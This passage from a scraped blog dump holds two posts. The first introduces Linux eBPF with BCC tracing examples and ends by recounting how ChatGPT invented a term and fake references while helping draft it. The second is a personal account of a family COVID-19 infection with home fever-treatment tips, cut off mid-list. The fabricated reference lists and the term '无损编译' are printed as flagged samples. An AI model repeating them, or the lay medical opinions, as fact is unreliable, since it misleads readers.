程序的代码复制到内核空间。</p>\n<p>eBPF 程序需要经过编译和执行。这通常是由Clang/LLVM的编译器完成，然后形成字节码后，将用户态的字节码装载进内核，Verifier会对要注入内核的程序进行一些内核安全机制的检查,这是为了确保 eBPF 程序不会破坏内核的稳定性和安全性。在检查过程中，内核会对 eBPF 程序的代码进行分析，以确保它不会进行恶意操作，如系统调用、内存访问等。如果 eBPF 程序通过了内核安全机制的检查，它就可以在内核中正常运行了，其会通过通过一个JIT编译步骤将程序的通用字节码转换为机器特定指令集，以优化程序的执行速度。</p>\n<p>下图是其架构图。</p>\n<p><img class=\"aligncenter\" src=\"https://imgopt.infoq.com/fit-in/1200x2400/filters:quality(80)/filters:no_upscale()/articles/gentle-linux-ebpf-introduction/en/resources/47image005-1619704397592.jpg\"/></p>\n<p style=\"text-align: center;\">（图片来自：<a href=\"https://www.infoq.com/articles/gentle-linux-ebpf-introduction/\" rel=\"noopener\" target=\"_blank\">https://www.infoq.com/articles/gentle-linux-ebpf-introduction/</a>）</p>\n<p>在内核中运行时，eBPF 程序通常会挂载到一个内核钩子（hook）上，以便在特定的事件发生时被执行。例如，</p>\n<ul>\n<li><span>系统调用——当用户空间函数将执行转移到内核时插入</span></li>\n<li><span>函数进入和退出——拦截对预先存在的函数的调用</span></li>\n<li><span>网络事件 – 在收到数据包时执行</span></li>\n<li><span>Kprobes 和 uprobes – 附加到内核或用户函数的探测器</span></li>\n</ul>\n<p>最后 eBPF Maps，允许eBPF程序在调用之间保持状态，以便进行相关的数据统计，并与用户空间的应用程序共享数据。一个eBPF映射基本上是一个键值存储，其中的值通常被视为任意数据的二进制块。它们是通过带有BPF_MAP_CREATE参数的<code>bpf_cmd</code>系统调用来创建的，和Linux世界中的其他东西一样，它们是通过文件描述符来寻址。与地图的交互是通过查找/更新/删除系统调用进行的</p>\n<p>总之，eBPF 的工作原理是通过动态加载、执行和检查<strong>无损编译</strong>过的代码来实现的。<code>[1]</code></p>\n<h4>示例</h4>\n<p>eBPF 可以用于对内核的性能进行分析。下面是一个基于 eBPF 的性能分析的 step-by-step 示例：</p>\n<p>第一步：准备工作：首先，需要确保内核已经支持 eBPF 功能。这通常需要在内核配置文件中启用 eBPF 相关的选项，并重新编译内核。检查是否支持 eBPF，你可以用这两个命令查看 <code>ls /sys/fs/bpf</code> 和 <code>lsmod | grep bpf</code></p>\n<p>第二步：写 eBPF 程序：接下来，需要编写 eBPF 程序，用于收集内核的性能指标。eBPF 程序的语言可以选择 C 或者 Python，它需要通过特定的接口访问内核的数据结构，并将收集到的数据保存到指定的位置。</p>\n<p>下面是一个Python 示例（其实还是C语言，用python来加载一段C程序到Linux内核）</p>\n<pre class=\"EnlighterJSRAW\">#!/usr/bin/python3\n\nfrom bcc import BPF\nfrom time import sleep\n\n# 定义 eBPF 程序\nbpf_text = \"\"\"\n#include &lt;uapi/linux/ptrace.h&gt;\n\nBPF_HASH(stats, u32);\n\nint count(struct pt_regs *ctx) {\n    u32 key = 0;\n    u64 *val, zero=0;\n    val = stats.lookup_or_init(&amp;key, &amp;zero);\n    (*val)++;\n    return 0;\n}\n\"\"\"\n\n# 编译 eBPF 程序\nb = BPF(text=bpf_text, cflags=[\"-Wno-macro-redefined\"])\n\n# 加载 eBPF 程序\nb.attach_kprobe(event=\"tcp_sendmsg\", fn_name=\"count\")\n\nname = {\n  0: \"tcp_sendmsg\"\n}\n# 输出统计结果\nwhile True:\n    try:\n        #print(\"Total packets: %d\" % b[\"stats\"][0].value)\n        for k, v in b[\"stats\"].items():\n           print(\"{}: {}\".format(name[k.value], v.value))\n        sleep(1)\n    except KeyboardInterrupt:\n        exit()</pre>\n<p>这个 eBPF 程序的功能是统计网络中传输的数据包数量。它通过定义一个 <code>BPF_HASH</code> 数据结构来保存统计结果（eBPF Maps），并通过捕获 <code>tcp_sendmsg</code> 事件来实现实时统计。最后，它通过每秒输出一次统计结果来展示数据。这个 eBPF 程序只是一个简单的示例，实际应用中可能需要进行更复杂的统计和分析。</p>\n<p>第三步：运行 eBPF 程序：接下来，需要使用 eBPF 编译器将 eBPF 程序编译成内核可执行的格式（这个在上面的Python程序里你可以看到——Python引入了一个bcc的包，然后用这个包，把那段 C语言的程序编译成字节码加载在内核中并把某个函数 attach 到某个事件上）。这个过程可以使用 BPF Compiler Collection（BCC）工具来完成。BCC 工具可以通过命令行的方式将 eBPF 程序编译成内核可执行的格式，并将其加载到内核中。</p>\n<p>下面是运行上面的 Python3 程序的步骤：</p>\n<pre class=\"EnlighterJSRAW\">sudo apt install python3-bpfcc</pre>\n<p>注：在Python3下请不要使用 <code>pip3 install bcc</code> （参看：<a href=\"https://github.com/iovisor/bcc/issues/2278#issuecomment-825356087\" rel=\"noopener\" target=\"_blank\">这里</a>）</p>\n<p>如果你是 Ubuntu 20.10 以上的版本，最好通过源码安装（否则程序会有编译问题），参看：<a href=\"https://github.com/iovisor/bcc/issues/3993#issuecomment-1228217609\" rel=\"noopener\" target=\"_blank\">这里</a>：</p>\n<pre class=\"EnlighterJSRAW\">apt purge bpfcc-tools libbpfcc python3-bpfcc\nwget https://github.com/iovisor/bcc/releases/download/v0.25.0/bcc-src-with-submodule.tar.gz\ntar xf bcc-src-with-submodule.tar.gz\ncd bcc/\napt install -y python-is-python3\napt install -y bison build-essential cmake flex git libedit-dev   libllvm11 llvm-11-dev libclang-11-dev zlib1g-dev libelf-dev libfl-dev python3-distutils\napt install -y checkinstall\nmkdir build\ncd build/\ncmake -DCMAKE_INSTALL_PREFIX=/usr -DPYTHON_CMD=python3 ..\nmake\ncheckinstall</pre>\n<p>接下来，需要将上面的 Python 程序保存到本地，例如保存到文件 netstat.py。运行程序：最后，可以通过执行以下命令来运行 Python 程序：</p>\n<pre class=\"EnlighterJSRAW\">$ chmod +x ./netstat.py\n$ sudo ./netstat.py\ntcp_sendmsg: 29\ntcp_sendmsg: 216\ntcp_sendmsg: 277\ntcp_sendmsg: 379\ntcp_sendmsg: 419\ntcp_sendmsg: 468\ntcp_sendmsg: 574\ntcp_sendmsg: 645\ntcp_sendmsg: 29\n</pre>\n<p>程序开始运行后，会在控制台输出网络数据包的统计信息。可以通过按 Ctrl+C 组合键来结束程序的运行。</p>\n<p>下面我们再看一个比较复杂的示例，这个示例会计算TCP的发包时间（示例参考于Github上 <a href=\"https://github.com/iovisor/bcc/issues/2972\" rel=\"noopener\" target=\"_blank\">这个issue</a>里的程序）：</p>\n<pre class=\"EnlighterJSRAW\">#!/usr/bin/python3\n\nfrom bcc import BPF\nimport time\n\n# 定义 eBPF 程序\nbpf_text = \"\"\"\n#include &lt;uapi/linux/ptrace.h&gt;\n#include &lt;net/sock.h&gt;\n#include &lt;net/inet_sock.h&gt;\n#include &lt;bcc/proto.h&gt;\n\nstruct packet_t {\n    u64 ts, size;\n    u32 pid;\n    u32 saddr, daddr;\n    u16 sport, dport;\n};\n\nBPF_HASH(packets, u64, struct packet_t);\n\nint on_send(struct pt_regs *ctx, struct sock *sk, struct msghdr *msg, size_t size)\n{\n    u64 id = bpf_get_current_pid_tgid();\n    u32 pid = id;\n\n    // 记录数据包的时间戳和信息\n    struct packet_t pkt = {}; // 结构体一定要初始化，可以使用下面的方法\n                              //__builtin_memset(&amp;pkt, 0, sizeof(pkt)); \n    pkt.ts = bpf_ktime_get_ns();\n    pkt.size = size;\n    pkt.pid = pid;\n    pkt.saddr = sk-&gt;__sk_common.skc_rcv_saddr;\n    pkt.daddr = sk-&gt;__sk_common.skc_daddr;\n    struct inet_sock *sockp = (struct inet_sock *)sk;\n    pkt.sport = sockp-&gt;inet_sport;\n    pkt.dport = sk-&gt;__sk_common.skc_dport;\n\n    packets.update(&amp;id, &amp;pkt);\n    return 0;\n}\n\nint on_recv(struct pt_regs *ctx, struct sock *sk)\n{\n    u64 id = bpf_get_current_pid_tgid();\n    u32 pid = id;\n\n    // 获取数据包的时间戳和编号\n    struct packet_t *pkt = packets.lookup(&amp;id);\n    if (!pkt) {\n        return 0;\n    }\n\n    // 计算传输时间\n    u64 delta = bpf_ktime_get_ns() - pkt-&gt;ts;\n\n    // 统计结果\n    bpf_trace_printk(\"tcp_time: %llu.%llums, size: %llu\\\\n\", \n       delta/1000, delta%1000%100, pkt-&gt;size);\n\n    // 删除统计结果\n    packets.delete(&amp;id);\n\n    return 0;\n}\n\"\"\"\n\n# 编译 eBPF 程序\nb = BPF(text=bpf_text, cflags=[\"-Wno-macro-redefined\"])\n\n# 注册 eBPF 程序\nb.attach_kprobe(event=\"tcp_sendmsg\", fn_name=\"on_send\")\nb.attach_kprobe(event=\"tcp_v4_do_rcv\", fn_name=\"on_recv\")\n\n# 输出统计信息\nprint(\"Tracing TCP latency... Hit Ctrl-C to end.\")\nwhile True:\n    try:\n        (task, pid, cpu, flags, ts, msg) = b.trace_fields()\n        print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg))\n    except KeyboardInterrupt:\n        exit()</pre>\n<p>上面这个程序通过捕获每个数据包的时间戳来统计传输时间。在捕获 <code>tcp_sendmsg</code> 事件时，记录数据包的发送时间；在捕获 <code>tcp_v4_do_rcv</code> 事件时，记录数据包的接收时间；最后，通过比较两个时间戳来计算传输时间。</p>\n<p>从上面的两个程序我们可以看到，eBPF 的一个编程的基本方法，这样的在Python里向内核的某些事件挂载一段 “C语言” 的方式就是 eBPF 的编程方式。实话实说，这样的代码很不好写，而且有很多非常诡异的东西，一般人是很难驾驭的（上面的代码我也不是很容易都能写通的，把 Google 都用了个底儿掉，读了很多晦涩的文档……）好在这样的代码已经有人写了，我们不必再写了，在 <a href=\"https://github.com/iovisor/bcc/tree/master/tools\" rel=\"noopener\" target=\"_blank\">Github 上的 bcc 库下的 tools 目录</a>有很多……</p>\n<p>BCC（<a href=\"https://github.com/iovisor/bcc\" rel=\"noopener\" target=\"_blank\">BPF Compiler Collection</a>）是一套开源的工具集，可以在 Linux 系统中使用 BPF（Berkeley Packet Filter）程序进行系统级性能分析和监测。BCC 包含了许多实用工具，如：</p>\n<ol>\n<li>bcc-tools：一个包含许多常用的 BCC 工具的软件包。</li>\n<li>bpftrace：一个高级语言，用于编写和执行 BPF 程序。</li>\n<li>tcptop：一个实时监控和分析 TCP 流量的工具。</li>\n<li>execsnoop：一个用于监控进程执行情况的工具。</li>\n<li>filetop：一个实时监控和分析文件系统流量的工具。</li>\n<li>trace：一个用于跟踪和分析函数调用的工具。</li>\n<li>funccount：一个用于统计函数调用次数的工具。</li>\n<li>opensnoop：一个用于监控文件打开操作的工具。</li>\n<li>pidstat：一个用于监控进程性能的工具。</li>\n<li>profile：一个用于分析系统 CPU 使用情况的工具。</li>\n</ol>\n<p>下面这张图你可能见过多次了，你可以看看他可以干多少事，内核里发生什么事一览无余。</p>\n<p><img src=\"https://github.com/iovisor/bcc/raw/master/images/bcc_tracing_tools_2019.png\"/></p>\n<h4>延伸阅读</h4>\n<p>一些经典的文章和书籍关于 eBPF 包括：</p>\n<ul>\n<li>Brendan Gregg 的《<a href=\"https://book.douban.com/subject/34467459/\" rel=\"noopener\" target=\"_blank\">BPF Performance Tools: Linux System and Application Observability</a>》一书是一个全面的指南，涵盖了 eBPF 的基础知识和实践应用。</li>\n<li>eBPF 的官网：<a href=\"https://ebpf.io/\" rel=\"noopener\" target=\"_blank\">https://ebpf.io/</a> 由 <a href=\"https://cilium.io/\" rel=\"nofollow\">Cilium</a> 建立</li>\n<li><a href=\"http://docs.cilium.io/en/latest/bpf/\" rel=\"nofollow\">Cilium’s BPF and XDP Reference Guide</a></li>\n<li><a href=\"https://www.kernel.org/doc/html/latest/bpf/index.html\" rel=\"nofollow\">BPF Documentation</a></li>\n<li><a href=\"https://www.kernel.org/doc/html/latest/bpf/bpf_design_QA.html\" rel=\"nofollow\">BPF Design Q&amp;A</a></li>\n<li>还有 Github 上的 <a href=\"https://github.com/zoidbergwill/awesome-ebpf\" rel=\"noopener\" target=\"_blank\">Awesome eBPF</a></li>\n</ul>\n<h4>彩蛋</h4>\n<p>最后来到彩蛋环节。因为最近 ChatGPT 很火，于是，我想通过 ChatGPT 来帮助我书写这篇文章，一开始我让ChatGPT 帮我列提纲，并根据提纲生成文章内容，并查找相关的资料，非常之顺利，包括生成的代码，我以为我们以很快地完成这篇文章。</p>\n<p>但是，到了代码生成的时候，我发现，ChatGPT 生成的代码的思路和方法都是对的，但是是比较老的，而且是跑不起来的，<strong>出现了好些低级错误，如：使用了未声明的变量，没有引用完整的C语言的头文件，没有正确地初始化变量，错误地获取数据，类型没有匹配……等等</strong>，在程序调试上，挖了很多的坑，C语言本来就不好搞，挖的很多运行时的坑很难察觉，所以，耗费了我大量的时间来排除各种各样的问题，其中有环境上的问题，还有代码上的问题，这些问题即便是通过 Google 也不容易找到解决方案，我找到的解决方案都放在文章中了，尤其是第二个示例，让我调试了3个多小时，读了很多 bcc 上的issue和相关的晦涩的手册和文档，才让程序跑通。</p>\n<p>到了文章收关的阶段，我让ChatGPT 给我几个延伸阅读，也是很好的，但是没有给出链接，于是我只得人肉 Google 了一下，然后让我吃惊的是，<strong>好多ChatGPT给出来的文章是根本不存在的，完全是它伪造的</strong>。我连让它干了两次都是这样，这个让我惊掉大牙。这让我开始怀疑它之前生成的内容，于是，我不得我返回仔细Review我的文章，尤其是“介绍”、“用途”和“工作原理”这三个章节，基本都是ChatGPT生成的，在Review完后，我发现了ChatGPT 给我生造了一个叫 “无损编译器”的术语，这个术语简直了，于是我开始重写我的文章。我把一些段落重写了，有一些没有，保留下来的我都标记上了 <code>[1]</code>，大家读的时候要小心阅读。</p>\n<p>最后，<strong>我的结论是，ChatGPT只是一个不成熟的玩具，只能回答一些没有价值的日常聊天的问题，要说能取代Google，我觉得不可能，因为Google会基于基本的事实，而ChatGPT会基于内容生成的算法，在造假方面称得上是高手，可以列为电信诈骗的范畴了，我以后不会再使用ChatGPT生成文章内容或是作我的帮手了。StackOverflow把其ban了真是不能太赞了！</strong></p>\n<p><strong>附件一：ChatGPT的造假载图和样本</strong></p>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td>\n<p><figure class=\"wp-caption aligncenter\" id=\"attachment_22325\" style=\"width: 195px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1.png\"><img alt=\"\" class=\"wp-image-22325 size-medium\" height=\"300\" src=\"../wp-content/uploads/2022/12/eBPF.ref_.1-195x300.png\" width=\"195\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-22325\">点击看大图</figcaption></figure></p></td>\n<td>\n<p><figure class=\"wp-caption aligncenter\" id=\"attachment_22326\" style=\"width: 286px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2.png\"><img alt=\"\" class=\"wp-image-22326 size-medium\" height=\"300\" src=\"../wp-content/uploads/2022/12/eBPF.ref_.2-286x300.png\" width=\"286\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-22326\">点击看大图</figcaption></figure></p></td>\n</tr>\n</tbody>\n</table>\n<p><strong>ChatGPT 生成的样本一</strong></p>\n<ul>\n<li>Brendan Gregg 的《BPF Performance Tools: Linux System and Application Observability》一书是一个全面的指南，涵盖了 eBPF 的基础知识和实践应用。</li>\n<li>Alexei Starovoitov 在 2015 年的 LPC 大会上发表的《eBPF and XDP: fast programmable datapath in the Linux kernel》一文，是一个介绍 eBPF 和 XDP（eXpress Data Path）的综述。</li>\n<li>谷歌的《BPF: The Future of Linux Monitoring and Observability》一文介绍了 eBPF 的基本概念，并探讨了它对于 Linux 监控和可观察性的影响。</li>\n<li>微软的《A Survey of Techniques for Hardware Acceleration of BPF》一文，介绍了 eBPF 在硬件加速方面的研究现状。</li>\n<li>Daniel Borkmann 的《Linux kernel networking: implementation and theory》一书涵盖了 eBPF 的实现和理论。</li>\n<li>Martin KaFai Lau 在 2015 年的 SOSP 大会上发表的《eBPF: a new execution environment for the Linux kernel》一文，介绍了 eBPF 在 Linux 内核中的新执行环境。</li>\n<li>来自两名谷歌工程师的《eBPF: A New Frontier in Performance Analysis》一文，探讨了 eBPF 对性能分析的影响。</li>\n<li>《BPF Performance Tools: Linux System and Application Observability》一书中的第三章，讨论了 eBPF 的编译器和运行时系统。</li>\n<li>来自三名谷歌工程师的《eBPF: The New Solaris DTrace》一文，比较了 eBPF 和 Solaris DTrace 系统的区别。</li>\n</ul>\n<p><strong>ChatGPT 生成的样本二</strong></p>\n<ol>\n<li>eBPF 程序开发指南（<a href=\"https://cilium.io/doc/ebpf/ebpf-guide/\" rel=\"noopener\" target=\"_new\">https://cilium.io/doc/ebpf/ebpf-guide/</a>）</li>\n<li>eBPF 官方文档（<a href=\"https://www.kernel.org/doc/Documentation/networking/filter.txt\" rel=\"noopener\" target=\"_new\">https://www.kernel.org/doc/Documentation/networking/filter.txt</a>）</li>\n<li>Linux 内核 eBPF 介绍（<a href=\"https://www.ibm.com/developerworks/cn/linux/kernel/ebpf/index.html\" rel=\"noopener\" target=\"_new\">https://www.ibm.com/developerworks/cn/linux/kernel/ebpf/index.html</a>）</li>\n<li>eBPF 性能优化技巧（<a href=\"https://www.infoq.com/cn/news/2018/08/ebpf-performance-tips/\" rel=\"noopener\" target=\"_new\">https://www.infoq.com/cn/news/2018/08/ebpf-performance-tips/</a>）</li>\n<li>eBPF 实战经验分享（<a href=\"https://blog.cloudflare.com/ebpf-in-practice/\" rel=\"noopener\" target=\"_new\">https://blog.cloudflare.com/ebpf-in-practice/</a>）</li>\n<li>eBPF 在网络安全中的应用（<a href=\"https://www.zdnet.com/article/ebpf-how-to-use-it-for-network-security/\" rel=\"noopener\" target=\"_new\">https://www.zdnet.com/article/ebpf-how-to-use-it-for-network-security/</a>）</li>\n<li>eBPF 实现 Linux 系统性能监控（<a href=\"https://www.percona.com/blog/2017/08/15/how-to-use-ebpf-to-monitor-linux-system-performance/\" rel=\"noopener\" target=\"_new\">https://www.percona.com/blog/2017/08/15/how-to-use-ebpf-to-monitor-linux-system-performance/</a>）</li>\n<li>eBPF 入门教程（<a href=\"https://sysdig.com/blog/ebpf-getting-started/\" rel=\"noopener\" target=\"_new\">https://sysdig.com/blog/ebpf-getting-started/</a>）</li>\n<li>eBPF 与 BPF 比较（<a href=\"https://lwn.net/Articles/724647/\" rel=\"noopener\" target=\"_new\">https://lwn.net/Articles/724647/</a>）</li>\n<li>eBPF 提高课程（<a href=\"https://www.pluralsight.com/courses/ebpf-advanced\" rel=\"noopener\" target=\"_new\">https://www.pluralsight.com/courses/ebpf-advanced</a>）</li>\n</ol>\n<p><strong>附件二：发明的术语：无损编译器</strong></p>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td>\n<p><figure class=\"wp-caption aligncenter\" id=\"attachment_22328\" style=\"width: 180px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2022/12/fake.png\"><img alt=\"\" class=\"wp-image-22328 size-medium\" height=\"300\" src=\"../wp-content/uploads/2022/12/fake-180x300.png\" width=\"180\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-22328\">点击看大图</figcaption></figure></p></td>\n<td>\n<p><figure class=\"wp-caption aligncenter\" id=\"attachment_22335\" style=\"width: 223px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2022/12/fake.term_.png\"><img alt=\"\" class=\"wp-image-22335 size-medium\" height=\"300\" src=\"../wp-content/uploads/2022/12/fake.term_-223x300.png\" width=\"223\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-22335\">点击看大图</figcaption></figure></p></td>\n</tr>\n</tbody>\n</table>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1379.html\"><img alt=\"如何调试bash脚本\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1379.html\">如何调试bash脚本</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2022-12-13 感染新冠的经历.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-22346\" height=\"225\" src=\"../wp-content/uploads/2022/12/covid19-300x225.jpg\" width=\"300\"/>写一篇与技术无关的文章，供大家参考。我住北京朝阳，从上周三开始我家一家三口陆续发烧生病，自测抗原后，都是阳性。好消息是，这个奥密克戎跟一般的病毒性感冒差不多，没什么可怕的，不过，整个过程除了发病之外还有一些别的因为感染带出来的事，大家也需要知晓，以准备好，以免造成生活的不便，更好的照顾好自己和家人。</p>\n<h4>整个过程</h4>\n<p>我先说一下整个过程（我会不断更新这个过程，直到转阴）。说明一下，<strong>我孩子老婆都打过三针国产疫苗，孩子是科兴，老婆是北京生物，我完全没有打</strong>。</p>\n<p>先是我家孩子（12 岁）。上周三（12 月 7 日），孩子早上起来就说头疼，一测体温，38 度 5，就停止上网课，老实休息了，我们并没给孩子吃什么药，到了晚上，孩子的体温到了 39.4，嗓子疼，我老婆用酒精给孩子物理降温（注：事实上最好别用酒精，因为会被皮肤吸收导致副作用），成功降到了 38.2 左右。周四（12 月 8 日），孩子的体温在 38.2 一天，我老婆给孩子吃了莲花清瘟，被我制止了，本来想上退烧药的，但是我想体温也不算高，能不吃就不吃，于是就让孩子冲了个复方感冒冲剂（其实里面含对乙酰氨基酚，后面会说）。周五（12 月 9 日），孩子不停地出汗，到下午体温正常了，然后咳嗽，鼻涕就来了，感冒症状来了，但精神不好，体虚无力。周末休息两天就基本没事了，也转阴了。</p>\n<p>接下来就到我了。</p>\n<p><span id=\"more-22341\"></span></p>\n<p>周五那天感觉嗓子有点异样，我没怎么在意，周六（12 月 10）就开始发烧了，傍晚 18 点左右，我是手脚冰冷，还有点打冷颤，头晕，嗓子干燥，我就钻被子里了，在半睡不睡的状态下到了 20 点左右，我浑身发烫，我老婆过来给我一量体温，39.8，说要不要也抹点酒精？我想，北京这个季节，物理降温不就上阳台上站一会就好了吗？当然，我就是把窗开了个口，把室温降到 20 度左右，然后，短袖短裤呆了一会就感到清醒了一些。这个时候，我觉得再来碗热汤就好了，我喝不习惯生姜红糖水，又腥又甜，我就自己整了一小锅西红柿蛋花汤，为了让我更能出汗，并适合我的重口味，我又加了点辣椒，一小锅热汤下肚，汗出的不亦乐乎，体温降低到38.4度，我觉的不用再吃药了，当然，嗓子也疼了。但是我舒服了很多，最后还看了下摩洛哥是怎么把C罗送回家的比赛。</p>\n<p>周日（12 月 11）是我最难受的一天，全天体温在 38.2左右，从早上就没有精神，吃完早点后，从 10 点一直睡到下午 15 点（因为嗓子疼，所以睡的也不安宁，各种难受）， 这天我一会儿就出次汗，但是体温降不下来，始终在 38.2，然后我在犹豫是不是吃布洛芬，但是我感觉体温也不是很高，布洛芬这种药能不吃不不吃。然后，睡前喝了一袋感冒冲剂。周日这天，我婆也发烧，38.5，她全身疼痛，包括嗓子。这一天，我们在家啥也干不了，全家都在床上躲着，只有孩子还能动，所以，有些事只能让孩子去干了，我们也只点外卖了。</p>\n<p>周一（12 月 12 日）我早上起来，38.5，开完周会后，看很多人说泰诺有用，然后翻了一下家，居然没找到，算，还是冲两包感冒冲剂得了（后来才知道，中成药里也都是掺了对乙酰氨基酚，看来中医对自己都没什么信心），于是整个下午就在出汗了，我一整天都没有什么食欲，到了下午 17 点左右，体温正常了 36.7，但是晚上又到了 37 度，开始咳痰，轻微流鼻涕，不过感觉没什么事了。而我老婆的烧居然退了，她说她应该好了。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_22343\" style=\"width: 400px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2022/12/IMG_2399.jpg\"><img alt=\"\" class=\"wp-image-22343\" height=\"471\" src=\"../wp-content/uploads/2022/12/IMG_2399-871x1024.jpg\" width=\"400\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-22343\">这就是我吃的感冒冲剂。注：为什么 还要整点咖啡因，说明书上说，怕对乙酰氨基酚造成嗜睡，所以用咖啡因来消解，这复方逻辑，毫无破绽啊</figcaption></figure>\n<p>周二（12 月 13 日）我早上起床后， 体温还是在 37.2 度，我的嗓子干燥微疼，头也不疼就是头晕，所以，今天睡了两次，一次是中午12 点半到下午 14点半，一次是 16：40 到 19:10，两次都出汗了，而且第二觉睡地太爽了，感觉是这两天睡过最高质量高的觉，而且嗓子不干了也好了，体温正常了 36.8，但是感冒症状出来了，接下来几天休息一下应该就好了。我孩子应该感冒也没有精神，所以一天来也是醒醒睡睡。而我老婆又开始发烧了，还带这样的，跳跃性发烧…… 更不好的是她嗓子已经疼到说不出话，也咽不下东西了，今天她也是床上躺了一天……</p>\n<p>周三（12月14日）我今天已经不发烧了，就是频率不高的咳嗽，轻微鼻塞，不过，还是要休息，喝水。我老婆体温还是低烧中，嗓子疼痛好了些，感觉正在恢复中……</p>\n<p><strong>整个过程，对我和我孩子来说，不难受，感觉就是发3天烧睡3天，再休息 3 天的样子，嗓子干燥微疼，比以前的病毒性感冒好多了，以前的病毒性感冒导致的嗓子疼我是连咽口水都咽不下去。但是对于我老婆就不一样了，她先是浑身疼痛，嗓子干燥，到现在嗓子疼如刀割，说不出话。这个事可能也因人而异。</strong></p>\n<p>继续更新，自我阳性以来半个月了，从 12 月 14 日退烧后，我就一直处在感冒和低频咳嗽中，直到12 月 27 日才发现不咳嗽也不感冒了，但是说话还是有一点鼻音，估计还要 5-7 天就可以完全恢复了。</p>\n<h4>注意事项</h4>\n<p><img alt=\"\" class=\"wp-image-22344 alignright\" height=\"390\" src=\"../wp-content/uploads/2022/12/IMG_2402.jpg\" width=\"293\"/></p>\n<p>能物理降温就不要吃药来降（<strong>应该避免使用酒精擦拭，因为有副作用，用水或冰就可以了</strong>），降到 38.5 以下，就可以自己抗了。如果物理降温不奏效，就要吃布洛芬和泰诺(林)，这两种药非常有帮助，但是你应该在药店里买不到了，所以，你可以买中成药或复方药，反正里面的中药没有用，而几乎所有的中成药里都被加入了“对乙酰氨基酚”，算是“间接”或“复方”泰诺(林)了。但是，不要多服，不然，药量叠加，会导致你肝肾中毒。参看《<a href=\"https://www.163.com/dy/article/HOA1A9UQ055342ZM.html\" rel=\"noopener\" target=\"_blank\">这些所谓“中成药”，关键原料是对乙酰氨基酚，服用小心叠加过量</a>》</p>\n<p>下面文字节选自“默沙东诊疗手册”</p>\n<blockquote>\n<div class=\"para\">\n<p>最有效和最广泛使用的退热药为对乙酰氨基酚和非甾体抗炎药 (NSAID)，如阿司匹林、布洛芬和萘普生。</p>\n</div>\n<div class=\"para\">\n<p>通常，人们可能采取以下方式之一：</p>\n</div>\n<div class=\"list\">\n<ul class=\"bulleted\">\n<li class=\"topic__listitem\"><span class=\"anchor\" id=\"v27742687_zh\"></span>\n<div class=\"para\">\n<p>每6小时650毫克对乙酰氨基酚（1天内不超过4000毫克）</p>\n</div>\n</li>\n<li class=\"topic__listitem\"><span class=\"anchor\" id=\"v27742689_zh\"></span>\n<div 